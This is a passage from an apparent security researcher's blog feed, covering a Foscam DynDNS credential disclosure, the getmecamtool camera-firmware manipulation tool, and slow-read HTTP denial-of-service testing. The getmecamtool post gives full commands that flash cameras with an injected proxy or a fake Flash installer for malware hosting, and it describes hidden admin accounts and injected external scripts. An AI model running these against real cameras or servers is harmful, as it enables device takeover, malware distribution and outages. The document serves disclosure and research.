tag:blogger.com,1999:blog-35657961796124576302024-03-16T02:31:42.837-07:00Notes On SecurityUnmaintained blog of Sergey ShekyanSergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.comBlogger13125tag:blogger.com,1999:blog-3565796179612457630.post-72434718332951996072014-05-08T21:53:00.000-07:002018-01-15T21:54:28.314-08:00CVE-2014-1849 Foscam Dynamic DNS predictable credentials vulnerability<p dir="ltr">CVE-2014-1849 Foscam Dynamic DNS predictable credentials vulnerability</p>
<p> </p>
<p dir="ltr">Date Published: 05-08-2014</p>
<p dir="ltr">Class: Design error</p>
<p dir="ltr">Remotely Exploitable: yes</p>
<p dir="ltr">Vulnerability Description:</p>
<p> </p>
<p dir="ltr">Foscam IP camera vendor provides a Dynamic DNS (DynDNS) service. Every Foscam camera has a preassigned FQDN of <a href="http://xxyyyy.myfoscam.org/">xx####.myfoscam.org</a> format, where 'x' is an alphabetic ASCII character and '#' is a digit. Each camera has a unique host name associated with it. That host name is flashed into the camera memory and is printed on a sticker on the bottom of the camera. The corresponding unique entry is created in Foscam DNS server for every manufactured camera. If the Foscam DynDNS option on the camera is enabled then that entry is updated with the current IP address of the user on every camera boot.</p>
<p dir="ltr">For updating DNS entries Foscam employs a custom protocol over UDP. This custom protocol uses the camera subdomain as a username and password to verify the authenticity of the request thus making it possible for an attacker to overwrite an arbitrary camera record in the Foscam DNS server. Existing setup doesn't have a mechanism to change the username/password neither on DynDNS nor on the camera. </p>
<p dir="ltr">Report timeline:</p>
<p dir="ltr">* January 30th, 2014 - Foscam was notified</p>
<p dir="ltr">* February 6th, 2014 - Vendor acknowledges the receipt of the email and asks for technical details</p>
<p dir="ltr">* February 19th, 2014 - Vendor contacted again and asked to confirm the vulnerability</p>
<p dir="ltr">* February 19th, 2014 - Vendor acknowledges the vulnerability and outlines the plan to address the issue. Vendor asks to withhold the disclosure until May 1st, 2014 so that the fix can be rolled out.</p>
<p dir="ltr">* April 30th, 2014 - Vendor notifies that newly manufactured cameras will contain the fix. Vendor confirms that the existing cameras will not be fixed. </p>
<p><hr class="at-page-break" />Some details on how things work there:</p>
<p>Every time Foscam sends a manufacturing order to their vendor, they create a large batch of consecutive entries in the DynDNS to be used with new cameras. Those entries are initialized with 127.0.0.1, which distinguishes them from nonexistent subdomain entries. Currently, valid entries are in the range of aa0000 -ep9310 with some blank pots in the middle, which gives us roughly 700K valid records. More than 300K records resolve to routable IP addresses, which means that many cameras have enabled Foscam DynDNS service at some point, and are possibly under threat of being hijacked.</p>
<p>Prior to firmware version 11.37.2.49, it was impossible to turn off Foscam's DynDNS, but was possible to use third party services. Version 11.37.2.49 introduced an option to turn off communication to Foscam DynDNS.</p>
<p>The use of UDP and predictable credentials make it possible to spoof source IP address to populate arbitrary DNS records with bogus/target IP addresses. <br />Here is how DNS entry updated works:</p>
<p>- first packet goes to server ONE to port 8080 which is the actual DNS server. If credentials match, it replies with a packet, which includes an IP address and port of server TWO. The value of that IP address varies between two IP addresses</p>
<p>- client sends almost identical to the first one packet to server TWO, after which the server ONE updates the DNS record on DNS running on server ONE with source IP of first message.</p>
<p><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d01a73dbe50c5970d-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Screen Shot 2014-05-07 at 11.35.26 AM" class="asset asset-image at-xid-6a017ee6f6cb91970d01a73dbe50c5970d img-responsive" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d01a73dbe50c5970d-500wi" title="Screen Shot 2014-05-07 at 11.35.26 AM" /></a></p>
<p>Proof of concept code can be found at <a href="https://github.com/artemharutyunyan/getmecamtool/blob/master/src/dnsmod.c" target="_blank" title="" rel="noopener noreferrer">here</a> . Attacker issues a UDP packet to the server ONE and immediately after that to server TWO at both possible IP addresses that can appear in the response to initial request, which makes possible spoofing source IP address, since receiving replies is irrelevant.</p>
<p>Several attack scenarios are possible using this vulnerability:</p>
<p>- Attacking the camera: rewrite the DNS entry to point to the fake camera login page to steal credentials/respond with HTTP 401 to capture credentials cached by the browser</p>
<p>- Attacking the browser: set up a reverse proxy that injects script element in the original response pointing to malicious script to do ui redress attacks, hook with BeEF, etc.</p>
<p>- Attacking third party website: rewrite multiple DynDNS records to a victim IP address and get a HTTP request flood DDoS. Not confirmed, as our ISP filters IP packets with spoofed source. UDP proxies to the rescue, may be </p>
<p>Anyway, Foscam is not going to address this issue for existing devices, so the only thing to recommend - do not use Foscam DynDNS.</p>
<p><a href="http://www.slideshare.net/SergeyShekyan/d2-t1-sergey-shekyan-and-artem-harutyunyan-turning-your-surveillance-camera-against-you" target="_blank" rel="noopener noreferrer">Our slides on other stuff around wireless IP cameras</a></p>
<p>Ride safe, </p>
<p>Sergey Shekyan and Artem Harutyunyan</p>
<p> </p>
<p><strong>Update 05/15/2014:</strong> Foscam surprised us yesterday by releasing firmware update for all of their current cameras that addresses predictable credentials vulnerability.</p>
<p>Firmware version 2.x.4.8 for HD cameras is available <a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_blank" rel="noopener noreferrer">here</a>.</p>
<p>The cameras supported in this firmware upgrade are as follows:<br /><br /><a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_self">FI9821W V2</a><br /><a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_self">FI9821P</a><br /><a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_self">FI9826P</a><br /><a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_self">FI9826W</a><br /><a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_self">FI9831W</a><br /><a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_self">FI9805W</a><br /><a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_self">FI9805E</a><br /><a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_self">FI9804W</a><br /><a href="https://dl.dropboxusercontent.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_self">FI9828W</a></p>
<p>Firmware version 11.xx.2.59 for MJPEG cameras:</p>
<p><a href="https://www.dropbox.com/s/vtf98rwii910kap/MJPEG%20indoor%20PT%20camera-11.37.2.59-20140514%20for%20North%20America%20only.zip" target="_blank" rel="noopener noreferrer">FI8910W</a><br /><a href="https://www.dropbox.com/s/vtf98rwii910kap/MJPEG%20indoor%20PT%20camera-11.37.2.59-20140514%20for%20North%20America%20only.zip" target="_blank" rel="noopener noreferrer">FI8916W</a><br /><a href="https://www.dropbox.com/s/vtf98rwii910kap/MJPEG%20indoor%20PT%20camera-11.37.2.59-20140514%20for%20North%20America%20only.zip" target="_blank" rel="noopener noreferrer">FI8918W</a><br /><a href="https://www.dropbox.com/s/eiv3yz0855hn7mf/MJPEG%20outdoor%20waterproof%20camera-11.37.2.59-20140514.zip" target="_blank" rel="noopener noreferrer">FI8903W</a><br /><a href="https://www.dropbox.com/s/eiv3yz0855hn7mf/MJPEG%20outdoor%20waterproof%20camera-11.37.2.59-20140514.zip" target="_blank" rel="noopener noreferrer">FI8904W</a><br /><a href="https://www.dropbox.com/s/eiv3yz0855hn7mf/MJPEG%20outdoor%20waterproof%20camera-11.37.2.59-20140514.zip" target="_blank" rel="noopener noreferrer">FI8905W</a><br /><a href="https://www.dropbox.com/s/eiv3yz0855hn7mf/MJPEG%20outdoor%20waterproof%20camera-11.37.2.59-20140514.zip" target="_blank" rel="noopener noreferrer">FI8906W</a><br /><a href="https://www.dropbox.com/s/dovmfe6qtrtcgxc/MJPEG%20outdoor%20PT%20camera-11.37.2.59-20140514%20for%20North%20America%20only.zip" target="_blank" rel="noopener noreferrer">FI8919W</a><br /><a href="https://www.dropbox.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_blank" rel="noopener noreferrer">FI8907W</a><br /><a href="https://www.dropbox.com/s/4pt2ysih46a1ho0/MJPEG%20indoor%20fixed%20camera-11.35.2.59-20140514%20for%20North%20America%20only.zip" target="_blank" rel="noopener noreferrer">FI8909W</a></p>
<p><a href="https://www.dropbox.com/s/0a9qo9bgdquzs1b/MJPEG%20outdoor%20waterproof%20camera-11.35.2.59-20140515%20%281%29.zip" target="_blank" rel="noopener noreferrer">FI8904W</a></p>
<p>Carefully read included PDF before starting the update process.</p>
<p>We already installed it and will provide more details soon.</p>
<p> </p>
<p><strong>Update 05/20/2014: </strong>We were contacted by Ramparts and told that they have disclosed that vulnerability independently on 1/25/2014. The link that is supposed to substantiate the claim is broken and we could not verify the claim;)</p>
<p>However, they need to advertise their company and it doesn't hurt us to put the link, thus, per their demand – <a href="http://rampartssecurity.com/docs/Exploiting-Foscam-IP-Cameras.pdf" target="_self">voilà, c'est tout!</a></p>
<p><strong>The <em>last</em> update</strong>: <a href="http://www.forbes.com/sites/kashmirhill/" target="_blank" rel="noopener noreferrer">Kashmir Hill</a> turned this boring stuff into an <a href="http://www.forbes.com/sites/kashmirhill/2014/05/27/article-may-scare-you-away-from-internet-of-things/" target="_blank" rel="noopener noreferrer">entertaining story</a>!</p>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com7tag:blogger.com,1999:blog-3565796179612457630.post-46836561304511451512013-11-26T21:55:00.000-08:002018-01-15T21:59:30.007-08:00SlowHTTPTest 1.6 is out<p>Yesterday I released <a href="http://code.google.com/p/slowhttptest/downloads/list" target="_self">another version of SlowHTTPTest</a>, that includes all the performance fixes that were sitting in the repository since last year, as well as:</p>
<p> - CLI got funny colors and less scrolling for better perception<br /> - HTML reports look prettier<br /> - Help screen is finally readable</p>
<p><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d019b01b6ee12970c-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Screen Shot 2013-11-26 at 11.33.07 PM" class="asset asset-image at-xid-6a017ee6f6cb91970d019b01b6ee12970c" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d019b01b6ee12970c-500wi" title="Screen Shot 2013-11-26 at 11.33.07 PM" /></a><br /> </p>
<p>I tested it on OSX Mavericks, Ubuntu Precize Pangoline and latest Fedora. Things looks fine, but just in case, here are some useful tips:</p>
<p>- if <em>configure</em> complains about the version of <em>automake</em> that was used to generate it, running <em>autoreconf</em> and following on screen instructions should fix most of the problems</p>
<p>- there is some chance that you'll need to install <em>libssl-devel</em></p>
<p>- if you hate colors, edit them in slowlog.h or undef <span style="font-family: courier new,courier;">USE_COLOR</span> in config.h</p>
<p>- if you don't like the new CLI layout, using other than default verbosity (<em>-v 2</em> and up) level will turn on the old good logging-style output</p>
<p> Hope this version doesn't add more trouble and any feedback is always welcome. Enjoy!</p>
<p> </p>
<p> </p>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com8tag:blogger.com,1999:blog-3565796179612457630.post-14710578385939117542013-08-29T22:00:00.000-07:002018-01-15T22:01:00.061-08:00Funny OS/Browser fingerprinterAs of today, <a href="http://blog.shekyan.com/webkit-crasher.html">this page</a> should crash any <s>webkit-based</s> application that uses CoreText font rendering framework on iOS or OSX 10.8.4Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com6tag:blogger.com,1999:blog-3565796179612457630.post-65954780315329347802013-05-20T22:02:00.000-07:002018-01-15T22:02:38.835-08:00Using getmecamtool<p>To support the <a href="http://www.slideshare.net/SergeyShekyan/d2-t1-sergey-shekyan-and-artem-harutyunyan-turning-your-surveillance-camera-against-you" target="_blank" rel="noopener noreferrer">presentation</a> about controlling IP cameras all over the world, we'll try to share some details on what the getmecamtool is doing and how to make it work.</p>
<p>getmecamtool is a tool-set to manipulate software of Foscam FI8910W, FI8908W, FI8909W and their clones.</p>
<p>It has the following components:</p>
<p>- packer/unpacker for system, WebUI and camera settings files (<em>syspack, sysextract, uipack, uiextract, confpack, confextract</em>)</p>
<p>- the main shell script that automates the flow with predefined commands (<em>getmecamtool</em>)</p>
<p>getmecamtool DOES NOT bypass authentication or get credentials for you. Instead, authentication credentials should be provided to the tool to successfully manipulate the camera software.</p>
<p>Check out the presentation to get the idea on how credentials can be potentially harvested.<br /><br />Before building getmecamtool, there are couple of prerequisites:<br /> - genromfs is needed to manipulate romfs, which is used on the camera (<strong><span style="font-family: courier new,courier; background-color: #d0d0d0;">$ sudo apt-get install genromfs</span></strong>)<br />- cmake is required to build the getmecamtool (<strong><span style="font-family: courier new,courier; background-color: #d0d0d0;">$ sudo apt-get install cmake</span></strong>)<br />Once ready, get getmecamtool from github</p>
<p><span style="background-color: #d0d0d0;"><strong><span style="font-family: courier new,courier;">$ git clone https://github.com/artemharutyunyan/getmecamtool</span></strong></span></p>
<p><span style="background-color: #d0d0d0;"><strong><span style="font-family: courier new,courier;">$ cd getmecamtool</span></strong></span></p>
<p><span style="background-color: #d0d0d0;"><strong><span style="font-family: courier new,courier;">$ mkdir build</span></strong></span></p>
<p><span style="background-color: #d0d0d0;"><strong><span style="font-family: courier new,courier;">$ cd build</span></strong></span></p>
<p><span style="background-color: #d0d0d0;"><strong><span style="font-family: courier new,courier;">$ cmake ..</span></strong></span></p>
<p><span style="background-color: #d0d0d0;"><strong><span style="font-family: courier new,courier;">$ make</span></strong></span></p>
<p>But we are not done with the installation yet. getmecamtool requires to have a library of firmware files, normally distributed by the camera vendors. Due to legal issues, we are not hosting that software, but you can easily re-create the directory structure and download necessary files by yourself.</p>
<p>Create fwlib directory somewhere. In our examples, we assume it is next to getmecamtool directory cloned from github. The fwlib/ directory should contain unmodified dystem firmware and Web UI from camera vendor.</p>
<p>When run, getmecamtool will determine the current version of dystem firmware (or webUI depending on the operation) on the camera and will try to locate the corresponding file in fwlib directory. Typically, camera vendors package both system firmware and webUI within the same .zip archive. fwlib should contain two subdirectories sys/ and web/, where corresponding original files should be placed. For example a directory structure for a camera with webUI version 1.2.3.4 and system firmware version 5.6.7.8 should look like this:</p>
<p><span style="font-family: courier new,courier;"><strong>fwlib</strong></span></p>
<p><span style="font-family: courier new,courier;"><strong>|-- sys</strong></span></p>
<p><span style="font-family: courier new,courier;"><strong>| </strong><strong>`-- lr_cmos_5_6_7_8.bin </strong></span></p>
<p><span style="font-family: courier new,courier;"><strong>|-- web</strong></span></p>
<p><span style="font-family: courier new,courier;"><strong>| ` -- 1.2.3.4.bin</strong></span></p>
<p> Here is an example of running the tool to inject a proxy server or anything else that can be cross-compiled using tools from the corresponding with board support package. We used board support package supplied for <a href="http://blog.shekyan.com/W90N745-uClinux-BSP-User-Manual.pdf" target="_self">Winbond W90N745</a> board available <a href="http://www.openipcam.com/files/BSP/W90N745BSP05262008.tar.gz" target="_self">here</a>:</p>
<p><span style="background-color: #d0d0d0;"><strong><span style="font-family: courier new,courier;">$ sudo env PATH=$PATH:$(pwd)/../build/bin ./getmecamtool -a X.X.X.X:80 -u admin -p '' -c inject_proxy -e /home/sergey/camtool/getmecamtool/misc/proxy/proxy -s ../../fwlib -o 81</span></strong></span></p>
<p>which tells the tool to:</p>
<p>- connect to X.X.X.X:80</p>
<p>- authenticate with 'admin' username and empty password</p>
<p>- determine the version of system firmware running on the camera, get same version from fwlib, unpack it, embed<em> proxy</em> binary into it</p>
<p>- change the camera settings to make web server listen to port 81 (and proxy would listen on the old port, 80 in this case) </p>
<p>- pack the system firmware file back, verify the integrity, push it on the camera and restart it</p>
<p>sudo is required by <em>mount</em>, which is used to mount the romfs that was extracted from the system firmware.</p>
<p>We chose to push a proxy on the camera, because it demonstrates how an attacker can utilize the forwarded port on NAT by making proxy server listen to it. If the client is aware that it's a proxy - it acts as a proxy, otherwise it acts as a reverse proxy by forwarding requests to local web server on a camera.</p>
<p>Another example runs the tool to host an arbitrary file on the camera, making it, for instance, a malware distributor:</p>
<p><span style="font-family: courier new,courier; background-color: #d0d0d0;"><strong>$ sudo env PATH=$PATH:$(pwd)/../build/bin ./getmecamtool -a X.X.X.X:80 -u admin -p '' -c host_file -f /home/sergey/camtool/getmecamtool/misc/install_flash_player.exe -s ../../fwlib</strong></span></p>
<p>tells the tool to:</p>
<p>- connect to X.X.X.X:80</p>
<p>- authenticate with 'admin' username and empty password</p>
<p>- determine the version of webUI firmware running on the camera, get same version from fwlib, unpack it, embed<em> install_flash_player.exe</em> into it</p>
<p>- pack the webUI firmware file back, verify the integrity, push it on the camera and restart it</p>
<p> Two other commands are <em>inject_exec</em> and <em>poison_webui</em>. First one would inject arbitrary executable, and the second one will add a user with admin role and patch the webUI to hide it, as well as it adds a line to one of HTML files to source a javascript from external location, demonstrating how easy is to have a persistant XSS in the victim's browser.</p>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com3tag:blogger.com,1999:blog-3565796179612457630.post-88951319332030165242013-05-20T22:01:00.000-07:002018-01-15T22:01:44.615-08:00Go, IP cameras and DNS<p>While working on presentation about IP cameras, Artem crafted a handy shell script that searches for active IP cameras by going over camera vendor's DNS records. The result was some handy numbers, as well as information on how people are using camera vendor provided DDNS service.</p>
<p>Last week I was visting a friend (привет, <a href="https://plus.google.com/107950426759701528367/posts" target="_self">Виктор!</a>) in Seattle. Between beers, he mentioned Go - <a href="http://golang.org/" target="_blank" rel="noopener noreferrer">a programming environment</a> he uses in one of his projects. He combined next pint with a Go programming lesson and as a result, we wrote a 100 line amazingly simple multi-threaded scanner that does the same as above mentioned script, but in much more configurable and reliable way.</p>
<p>Get the <a href="http://golang.org/doc/install" target="_blank" rel="noopener noreferrer">Go</a>, get the <a href="https://github.com/artemharutyunyan/getmecamtool" target="_blank" rel="noopener noreferrer">getmecamtool</a>, and in the <em>misc</em> directory you will find the scanner.go file. Simply type:</p>
<p><span style="background-color: #d0d0d0;"><strong><span style="font-family: courier new,courier;">$ go run scanner.go --help</span></strong></span></p>
<p>and the rest should be clear. It currently searches for records with prefix <em>xx1234(two letters and 4 digits)</em>, but it should be trivial to change the pattern that matches particular camera vendor's DNS records.</p>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com28tag:blogger.com,1999:blog-3565796179612457630.post-11919070225337622682013-03-16T22:03:00.000-07:002018-01-15T22:03:38.238-08:00To Watch or Be Watched: Turning Your Surveillance Camera Against You<p>Last year I was lucky enough to attend the <a href="http://conference.hitb.org/hitbsecconf2013ams/" target="_blank" rel="noopener noreferrer">Hack In The Box</a> security conference in Amsterdam. Dhillon and the rest of organizers put a great event and since then I was eager to return.</p>
<p><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d41f659a7970c-pi" style="float: right;"><img alt="Fi8910w_white_front" class="asset asset-image at-xid-6a017ee6f6cb91970d017d41f659a7970c" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d41f659a7970c-120wi" style="margin: 0px 0px 5px 5px;" title="Fi8910w_white_front" /></a><br />Subject line of this post is the title of the <a href="http://conference.hitb.org/hitbsecconf2013ams/shekyan-harutyunyan/" target="_blank" rel="noopener noreferrer">talk</a> that we are going to present at <a href="https://twitter.com/search?q=%23hitb2013ams" target="_blank" rel="noopener noreferrer">#HITB2013AMS</a> with my fresh colleague and old neighbor back in Armenia - Artem Harutyunyan.`</p>
<p><br />We'll try to get some attention on security flaws of widely available IP surveillance cameras that you can get at Home Depot for as low as $70. It's quite a challenge for us, because we never dealt with embedded devices before, although security issues in the embedded web server of the camera themselves are enough to do whatever you/bad guy/Chinese government want.</p>
<p style="text-align: left;">See you in Amsterdam. </p>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com63tag:blogger.com,1999:blog-3565796179612457630.post-28847628082576160542013-01-06T22:04:00.000-08:002018-01-15T22:04:33.961-08:00Follow The RFC!<p>About 40 minutes before our <a href="https://www.slideshare.net/SergeyShekyan/bay-threat-2012-websockets" target="_blank" rel="noopener noreferrer">WebSocket presentation at BayThreat</a> I decided to do the final dry run. The slide with stacktrace of crashed desktop Safari caught my attention and I re-checked if there is still a problem. While current OSX Safari was fixed and I removed the slide, I decided to navigate to that page using Safari on my iPhone running IOS6.</p>
<p>The result was quite surprising, since I thought Apple is using the same webkit engine for all platforms: Safari simply hanged, while minimizing and re-opening caused a crash. Chrome on IOS6 behaved in similar way, while Chrome on OSX was always handling that code properly. Trying it on friends' Galaxy something caused the entire UI of Android to behave funny.</p>
<p>For those who are curious what the code is doing: it does nothing but trying to open several thousand WebSocket connections to non-existing server.</p>
<p>RFC 6455 is quite clear on this:</p>
<blockquote>
<p>"There MUST be no more than one connection in a CONNECTING state. If multiple connections to the same IP address are attempted simultaneously, the client MUST serialize them so that there is no more than one connection at a time running through the following steps."</p>
</blockquote>
<p>Most likely, mobile versions of popular browsers are just not implementing this policy, causing to either drain the file descriptors pool, or random number generator, or the memory.</p>
<p>This isn't a big deal, I just decided to document this in my blog to see how long would it take to port the policy to the mobile versions. As of today, January 6, the problem still exists, and the web page with deadly javascript is <a href="http://blog.shekyan.com/mobile_crash.html" target="_blank" rel="noopener noreferrer">right here .</a></p>
<p> </p>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com6tag:blogger.com,1999:blog-3565796179612457630.post-79769555158656775162012-01-25T22:04:00.000-08:002018-01-15T22:11:12.651-08:00How I Knocked Down 30 Servers from One Laptop<p>Cross-posted from <a href="https://community.qualys.com/blogs/securitylabs/2012/01/25/how-i-knocked-down-30-servers-from-one-laptop" target="_blank" rel="noopener noreferrer">Qualys Security Labs. </a></p>
<div>
<p>Following the release of the <a href="http://shekyan.typepad.com/blog/2011/08/new-open-source-tool-for-slow-http-dos-attack-vulnerabilities.html" target="_blank" rel="noopener noreferrer">slowhttptest tool</a> with <a href="http://shekyan.typepad.com/blog/2012/01/are-you-ready-for-slow-reading.html" target="_blank" rel="noopener noreferrer">Slow Read DoS attack support</a>, I helped several users test their setups. One of the emails that I received asked me to take a look at test results of the slowhttptest tool. According to the report, the tool brought a service to its knees after only several seconds. This was quite surprising because the system in question was designed to handle requests from several thousands of clients from all across the world, whereas the tool was only opening 1000 concurrent connections.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>To put things in context it’s worth mentioning that the organization has around 60,000 registered users with a client application installed on their end. That application communicates periodically to the central service, receiving instructions and reporting the results in short bursts (no, it’s not a botnet as you might have thought!). There are around 2,000 running clients at any given time, and several hundreds of them are normally connected concurrently.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>System Architecture</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Initially, I was pretty skeptical about being able to DoS the central service, so I asked for details of the system architecture. The system design followed best practices - the components of the system were being monitored, and all patches were applied in a timely manner. Thus, it was reasonable to expect that the system should have been able to tolerate the load produced by the slowhttptest tool.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Here is the schematic view of the system below:</p>
<ul>
<li>A round-robin DNS acting as load balancer that resolves the hostname to one of the Squid’s IP addresses</li>
<li>Two firewalled reverse proxy servers (<a href="http://www.squid-cache.org/" target="_blank" rel="noopener noreferrer">Squid</a>) running on powerful dedicated servers</li>
<li>A cluster of web servers</li>
<li>A cluster of application servers</li>
</ul>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p style="padding-left: 12px;"><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017d3f8a6c45970c-pi" style="display: inline;"> </a><a class="asset-img-link" href="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017ee6fee26e970d-popup" onclick="window.open( this.href, '_blank', 'width=640,height=480,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0' ); return false" style="display: inline;"><img alt="Knocked" class="asset asset-image at-xid-6a017ee6f6cb91970d017ee6fee26e970d" src="http://shekyan.typepad.com/.a/6a017ee6f6cb91970d017ee6fee26e970d-500wi" title="Knocked" /></a><br /><br /></p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>I ran <a href="http://linux.die.net/man/1/dig" target="_blank" rel="noopener noreferrer">dig</a>, a DNS lookup utility, to get the list of IP addresses the hostname can be resolved to. After picking one, I added a line to my /etc/hosts mapping hostname to that particular address and concentrated on attacking a single proxy, rather than spreading the load among all of them. I then configured the slowhttptest tool in an aggressive manner to create the “Slow Read” request of a photo of one of company executives on "Management Team" section of the website.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Results</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Guess what? I got a true denial-of-service by rendering the front-end Squid machine inoperable. This effectively meant that I knocked out tens of backend HTTP servers from a single laptop. After further investigation, the DoS turned out to be a simple misconfiguration. Since the operating system was configured to limit a process to 1024 open file descriptors, the Squid simply ran out of the file descriptors.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>It was assumed that if a server can handle 60,000 connections per minute, it’s good to go. However, the aspect of connection duration was overlooked, and the system was able to accept, serve and close the connection so fast that the concurrent connections pool was never filled up. Thus, system thresholds were never reached.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Moral</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The moral of the story, aside from “Good beats Evil,” is that the security level of a system is defined by the weakest link in the chain. This is another example of security being more than just installing patches. In this particular case, the mistake could have been prevented with proper penetration and stress testing. You should not rely on “secure” architecture, and you should test for potential problems like this slow read DoS.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p><strong>One more anecdote</strong>: <a href="http://www.openttd.org/en/about" target="_blank" rel="noopener noreferrer">Open Transport Tycoon Deluxe</a>, an open source simulation game, was found to be vulnerable to a slow read DoS attack which prevented users from joining the server. The developer community for <a href="http://www.openttd.org/en/" target="_blank" rel="noopener noreferrer">openTTD</a> reacted very fast and released patches fixing the problem, and even <a href="http://security.openttd.org/en/CVE-2012-0049" target="_blank" rel="noopener noreferrer">reported the vulnerability to http://cve.mitre.org/</a>. It’d be nice to see other developers taking DoS problems that seriously.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p><strong>Update, January 28 2012:</strong></p>
<p>Released slowhttptest v 1.4, featuring virtually unlimited connections.</p>
</div>Sergey Shekyanhttp://www.blogger.com/profile/18206881551310245099noreply@blogger.com3tag:blogger.com,1999:blog-3565796179612457630.post-61501411782966051022012-01-05T22:06:00.000-08:002018-01-15T22:10:48.197-08:00Are You Ready For Slow Reading?<p>Cross-posted from <a href="https://community.qualys.com/blogs/securitylabs/2012/01/05/slow-read" target="_blank" rel="noopener noreferrer">Qualys Security Labs. </a></p>
<p>Imagine a line at a fast food restaurant that serves two types of burgers, and a customer at the cashier is stuck for a while deciding what he wants to order, making the rest of the line anxious, slowing down the business. Now imagine a line at the same restaurant, but with a sign saying "think ahead of your order," which is supposed to speed things up. But now the customer orders hundreds of burgers, pays, and the line is stuck again, because he can take only 5 burgers at time to his car, making signs ineffective.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>While developing the <a href="http://shekyan.typepad.com/blog/2011/08/new-open-source-tool-for-slow-http-dos-attack-vulnerabilities.html" target="_blank" rel="noopener noreferrer">slowhttptest tool</a>, I thought about this burger scenario, and became curious about how HTTP servers react to slow consumption of their responses. There are so many conversations about slowing down requests, but none of them cover slow responses. After spending a couple of evenings implementing proof-of-concept code, I pointed it to my so-many-times-tortured Apache server and, surprisingly, got a denial of service as easily as I got it with slowloris and slow POST.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Let me remind you what <a href="http://en.wikipedia.org/wiki/Slowloris" target="_blank" rel="noopener noreferrer">slowloris and slow POST</a> are aiming to do: A Web server keeps its active connections in a relatively small concurrent connection pool, and the above-mentioned attacks try to tie up all the connections in that pool with slow requests, thus causing the server to reject legitimate requests, as in first reastaurnt scenario.</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>The idea of the attack I implemented is pretty simple: Bypass policies that filter slow-deciding customers, send a legitimate HTTP request and read the response slowly, aiming to keep as many connections as possible active. Sounds too easy to be true, right?</p>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<h3>Crafting a Slow Read</h3>
<p style="min-height: 8pt; height: 8pt; padding: 0px;"> </p>
<p>Let’s start with a simple case, and send a legitimate HTTP request for a resource without reading the server’s response from the kernel receive buffer.</p>
